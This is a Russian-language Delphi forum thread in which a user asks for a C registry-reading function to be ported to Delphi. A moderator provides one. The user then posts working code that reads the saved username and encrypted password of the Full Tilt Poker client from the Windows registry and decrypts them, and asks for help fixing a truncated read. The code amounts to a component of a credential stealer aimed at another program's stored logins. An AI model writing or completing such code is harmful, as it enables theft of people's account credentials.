Пятница, 24.11.2017, 21:20 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024 
delfcode » Delphi » Вопросы по Delphi » Сишники перепишите функцию на дельфу
Сишники перепишите функцию на дельфу
d4rkzyДата: Четверг, 21.05.2015, 18:13 | Сообщение # 1
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
Код
int regkeyr(HKEY hKey, LPCTSTR lpSubKey, LPTSTR lpValueName, char *buff, DWORD len) {
     HKEY    key;

     buff[0] = 0;
     if(RegOpenKeyEx(hKey, lpSubKey, 0, KEY_READ, &key) != ERROR_SUCCESS) {
         return(-1);
     }
     if(RegQueryValueEx(key, lpValueName, NULL, REG_NONE, buff, &len) != ERROR_SUCCESS) {
         RegCloseKey(key);
         return(-1);
     }
     RegCloseKey(key);
     buff[len] = 0;
     return(len);
}


Перепишите эту функцию на дельфи пожалуйста, используется сплошное апи, думаю труда не составит.
 
Волк-1024Дата: Четверг, 21.05.2015, 21:24 | Сообщение # 2
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
Что-то с RegQueryValueEx у меня не получилось, посему наколякал по-своему, с другими апи:

Код

function SHGetValue(hKey:HKEY; pszSubKey: PChar; pszValue: PChar;
                     pdwType: LPDWORD; pvData: Pointer; pcbData: LPDWORD): DWORD; stdcall; external 'SHLWAPI.DLL' name 'SHGetValueA';

function RegGetValue(hKey: HKEY; lpSubKey, lpValueName: PAnsiChar; pdwKeyType: PDWORD; pData: PPointer): DWORD;
var
   pBuffer: Pointer;
   BufferSize: DWORD;
begin
   Result:=0;
   BufferSize:=0;
   if (SHGetValue(hKey, lpSubKey, lpValueName, @pdwKeyType, nil, @BufferSize) = ERROR_SUCCESS) and (BufferSize > 0) then
   begin
     pBuffer:=Pointer(LocalAlloc(LPTR, BufferSize));
     if Assigned(pBuffer) then
     begin
       if SHGetValue(hKey, lpSubKey, lpValueName,
                     @pdwKeyType,
                     pBuffer,
                     @BufferSize) = ERROR_SUCCESS then
       begin
          pData^:=pBuffer;
          Result:=BufferSize;
       end
       else
          LocalFree(HLOCAL(pBuffer));
     end;
   end;
end;


Вроде работает. В pdwKeyTypeВ будет тип ключа, т.е REG_SZ и т.п, а в pData будут данные. Функция вернёт длину данных.


Pascal, C\C++, Assembler, Python
 
d4rkzyДата: Пятница, 22.05.2015, 01:13 | Сообщение # 3
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
Больше спасибо. Наконец-то реализовал декрипт full tilt poker ))) Код не понадобился (у меня был свой код, только я не догнал что не так, а ошибках в типах была)

Моя реализация (Писалось на ХЕ)
Код
function _ReadRegToString(key:HKEY; subkey,line:string; var buffer:ansistring): string;
var
xBuffer_size: longword;
xBuffer: array[0..255] of ansichar;
begin
if RegOpenKeyEx(key,pchar(subkey),0,$0001,key) = 1 then exit
else
xBuffer_size:=254;
RegQueryValueEx(key,pchar(line),0, nil,@xBuffer,@xBuffer_size);
RegCloseKey(Key);
buffer := xBuffer;
result := xBuffer;
end;


Пример вызова:
Код
_ReadRegToString(HKEY_CURRENT_USER,'Software\Full Tilt Poker\UserInfo','Password', buffer);


Волк, дай скайп - тут или в лс, сам выбирай)
 
d4rkzyДата: Пятница, 22.05.2015, 01:24 | Сообщение # 4
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
Мемо
Код

®
==========   
I¬‰y
X7–Oeзњg»mЂdM†ф‹ђТ    њЇБ˜и&vљbњ?nE…§
*ШпІ


Код:

Код
var
User,Pass:ansistring;
begin
_ReadRegToString(HKEY_CURRENT_USER,'Software\Full Tilt Poker\UserInfo','Username', User);
_ReadRegToString(HKEY_CURRENT_USER,'Software\Full Tilt Poker\UserInfo','Password', Pass);
form1.memo1.Lines.Add(user);
form1.memo1.Lines.Add('==========');
form1.memo1.Lines.Add(pass);
  form1.memo1.Lines.Add('Username: '+DecryptPass(User));
  form1.memo1.Lines.Add('Password: '+DecryptPass(Pass));


Какого хрена username читается не полностью?! Первый символ корректный, а дальше символы где??

Причем pass удачно декрипится, а user нет - тк строка не полная. где ошибка?


Сообщение отредактировал d4rkzy - Пятница, 22.05.2015, 01:25
 
Волк-1024Дата: Пятница, 22.05.2015, 16:56 | Сообщение # 5
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
Цитата d4rkzy ()
Пример вызова:

В моём случае выглядит так:
Код

RegGetValue(HKEY_CURRENT_USER, 'Software\Full Tilt Poker\UserInfo', 'Password', nil, @Buffer);    

Цитата d4rkzy ()
где ошибка?

Трудно сказать, видимо из реестра коряво читается.


Pascal, C\C++, Assembler, Python
 
d4rkzyДата: Суббота, 23.05.2015, 12:43 | Сообщение # 6
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
Волк-1024, В реестре после ® идет символ "00". Чувак с этого форума сказал что 00 это абы конец строки,по этому не читается.
 
delfcode » Delphi » Вопросы по Delphi » Сишники перепишите функцию на дельфу
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz